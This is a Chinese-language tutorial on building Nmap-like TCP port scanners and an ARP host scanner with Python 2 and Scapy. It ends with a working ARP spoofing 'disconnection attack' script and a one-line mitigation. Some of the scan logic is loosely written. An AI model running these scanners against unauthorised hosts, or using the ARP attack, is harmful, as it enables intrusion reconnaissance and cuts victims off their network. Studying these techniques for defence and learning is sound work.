运用Scapy编写类似于Nmap的端口扫描脚本
字数 998 2025-08-26 22:11:35

使用Scapy编写Nmap式端口扫描脚本教学文档

简介

Scapy是一种强大的Python网络数据包处理工具,由Philippe Biondi开发。它可以:

  • 伪造或解码数据包
  • 发送和捕获网络数据包
  • 处理扫描、跟踪路由、探测、单元测试、攻击和网络发现等任务

端口扫描技术实现

1. TCP Connect扫描(全连接扫描)

原理

  • 客户端与服务端进行完整的三次握手
  • 开放端口:SYN → SYN+ACK → ACK+RST
  • 关闭端口:SYN → RST

代码实现

from scapy.all import *
import getopt
import sys

def scan(argv):
    opts, args = getopt.getopt(argv, "-h:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
    all_port=[3306,80,22]

    for port in all_port:
        send=sr1(IP(dst=host)/TCP(dport=port,flags="S"),timeout=2,verbose=0)
        if (send is None):
            print "[+] %s %d \033[91m Closed \033[0m" % (host,port)
        elif send.haslayer("TCP"):
            if send["TCP"].flags == "SA":
                send_1 = sr1(IP(dst=host) / TCP(dport=port, flags="AR"), timeout=2, verbose=0)
                print "[+] %s %d \033[92m Open \033[0m" % (host, port)
            elif send["TCP"].flags == "RA":
                print "[+] %s %d \033[91m Closed \033[0m" % (host,port)

if __name__=="__main__":
    scan(sys.argv[1:])

2. TCP SYN扫描(半开式扫描)

原理

  • 不建立完整连接
  • 开放端口:SYN → SYN+ACK → RST
  • 关闭端口:SYN → RST

代码修改
只需将TCP Connect扫描中的flags="AR"改为flags="R"

3. TCP ACK扫描(防火墙检测)

原理

  • 用于检测端口是否被过滤
  • 开放/关闭端口都会返回RST
  • 无响应或返回特定ICMP错误消息表示被过滤

代码实现

from scapy.all import *
import getopt
import sys

def scan(argv):
    opts, args = getopt.getopt(argv, "-h:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
    all_port=[3306,80,22]

    for port in all_port:
        send=sr1(IP(dst=host)/TCP(dport=port,flags="A"),timeout=0.5,verbose=0)
        if ping(host)==0 and send is None:
            print "[+] The host is \033[91m Died or filtered\033[0m"
            sys.exit(0)
        elif ping(host) and send is None:
            print "[+] %s %d \033[91m filtered \033[0m" % (host, port)
        elif send.haslayer("ICMP"):
            if(send["ICMP"].type==3 and (send["ICMP"].code in [1,2,3,9,10,])):
                print "[+] %s %d \033[91m filtered \033[0m" % (host, port)
        elif send["TCP"].flags=="R":
            print "[+] %s %d \033[91m unfiltered \033[0m" % (host, port)

def ping(host):
    ping=sr1(IP(dst=host)/ICMP(),timeout=0.1,verbose=0)
    if ping is not None:
        return 1
    elif ping is None:
        return 0

if __name__=="__main__":
    scan(sys.argv[1:])

4. TCP Window扫描

原理

  • 检查RST报文的TCP窗口域
  • 开放端口:窗口大小为正数
  • 关闭端口:窗口大小为0

代码实现

from scapy.all import *
import getopt
import sys

def scan(argv):
    opts, args = getopt.getopt(argv, "-h:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
    all_port=[3306,80,22]

    for port in all_port:
        send=sr1(IP(dst=host)/TCP(dport=port,flags="A"),timeout=2,verbose=0)
        if (send is None):
            print "[+] the host is\033[91m Closed or filtered\033[0m"
            sys.exit(0)
        elif send.haslayer("TCP"):
            if send["TCP"].window >0:
                print "[+] %s %d \033[92m Open \033[0m" % (host, port)
            elif send["TCP"].window ==0:
                print "[+] %s %d \033[91m Closed \033[0m" % (host, port)

if __name__=="__main__":
    scan(sys.argv[1:])

5. TCP Null扫描

原理

  • 不设置任何标志位
  • 开放端口:无响应
  • 关闭端口:返回RST+ACK

代码实现

from scapy.all import *
import getopt
import sys

def scan(argv):
    opts, args = getopt.getopt(argv, "-h:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
    all_port=[3306,80,22]

    for port in all_port:
        send=sr1(IP(dst=host)/TCP(dport=port,flags=""),timeout=2,verbose=0)
        if (send is None):
            print "[+] %s  %d \033[91m Open | filtered\033[0m"%(host,port)
        elif send.haslayer("TCP"):
            if send["TCP"].flags=="RA":
                print "[+] %s %d \033[92m Closed \033[0m" % (host, port)

if __name__=="__main__":
    scan(sys.argv[1:])

6. TCP FIN扫描

原理

  • 只设置FIN标志位
  • 开放端口:无响应
  • 关闭端口:返回RST+ACK

代码修改
将TCP Null扫描中的flags=""改为flags="F"

7. TCP Xmas扫描

原理

  • 设置PSH,FIN,URG标志位
  • 开放端口:无响应
  • 关闭端口:返回RST+ACK

代码修改
将TCP Null扫描中的flags=""改为flags="PFU"

其他实用功能

ARP扫描

代码实现

from scapy.all import *
import getopt
import sys

def scan(argv):
    opts, args = getopt.getopt(argv, "-h:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
    arp=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=host)
    ans,unans=srp(arp,timeout=0.5,verbose=0)
    print "[+] Scaned %d host"%(len(ans))
    print "Host      MAC"
    for s,h in ans:
        print "{}      {}".format(h["ARP"].psrc,h["ARP"].hwsrc)

if __name__=="__main__":
    scan(sys.argv[1:])

ARP断网攻击

原理

  • 欺骗目标主机,使其认为攻击者是网关
  • 导致目标主机无法正常上网

代码实现

from scapy.all import *
import getopt
import sys

def attack(argv):
    opts, args = getopt.getopt(argv, "-h:-m:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
        if opt in ("-m"):
            Bcast=arg
    print "[+]: Status: \033[91m Attacking \033[0m"
    print "[+]: Host: \033[92m %s \033[0m"%(host)
    pkt = ARP(psrc=Bcast, pdst=host, op=2)
    srloop(pkt,verbose=0)

if __name__=="__main__":
    attack(sys.argv[1:])

防范措施
将网关的IP和MAC地址绑定写入ARP缓存表

参考资源

  • Nmap官方文档:https://nmap.org/man/zh/man-port-scanning-techniques.html
  • Scapy官方文档:https://scapy.readthedocs.io/en/latest/usage.html
使用Scapy编写Nmap式端口扫描脚本教学文档 简介 Scapy是一种强大的Python网络数据包处理工具,由Philippe Biondi开发。它可以: 伪造或解码数据包 发送和捕获网络数据包 处理扫描、跟踪路由、探测、单元测试、攻击和网络发现等任务 端口扫描技术实现 1. TCP Connect扫描(全连接扫描) 原理 : 客户端与服务端进行完整的三次握手 开放端口:SYN → SYN+ACK → ACK+RST 关闭端口:SYN → RST 代码实现 : 2. TCP SYN扫描(半开式扫描) 原理 : 不建立完整连接 开放端口:SYN → SYN+ACK → RST 关闭端口:SYN → RST 代码修改 : 只需将TCP Connect扫描中的 flags="AR" 改为 flags="R" 3. TCP ACK扫描(防火墙检测) 原理 : 用于检测端口是否被过滤 开放/关闭端口都会返回RST 无响应或返回特定ICMP错误消息表示被过滤 代码实现 : 4. TCP Window扫描 原理 : 检查RST报文的TCP窗口域 开放端口:窗口大小为正数 关闭端口:窗口大小为0 代码实现 : 5. TCP Null扫描 原理 : 不设置任何标志位 开放端口:无响应 关闭端口:返回RST+ACK 代码实现 : 6. TCP FIN扫描 原理 : 只设置FIN标志位 开放端口:无响应 关闭端口:返回RST+ACK 代码修改 : 将TCP Null扫描中的 flags="" 改为 flags="F" 7. TCP Xmas扫描 原理 : 设置PSH,FIN,URG标志位 开放端口:无响应 关闭端口:返回RST+ACK 代码修改 : 将TCP Null扫描中的 flags="" 改为 flags="PFU" 其他实用功能 ARP扫描 代码实现 : ARP断网攻击 原理 : 欺骗目标主机,使其认为攻击者是网关 导致目标主机无法正常上网 代码实现 : 防范措施 : 将网关的IP和MAC地址绑定写入ARP缓存表 参考资源 Nmap官方文档:https://nmap.org/man/zh/man-port-scanning-techniques.html Scapy官方文档:https://scapy.readthedocs.io/en/latest/usage.html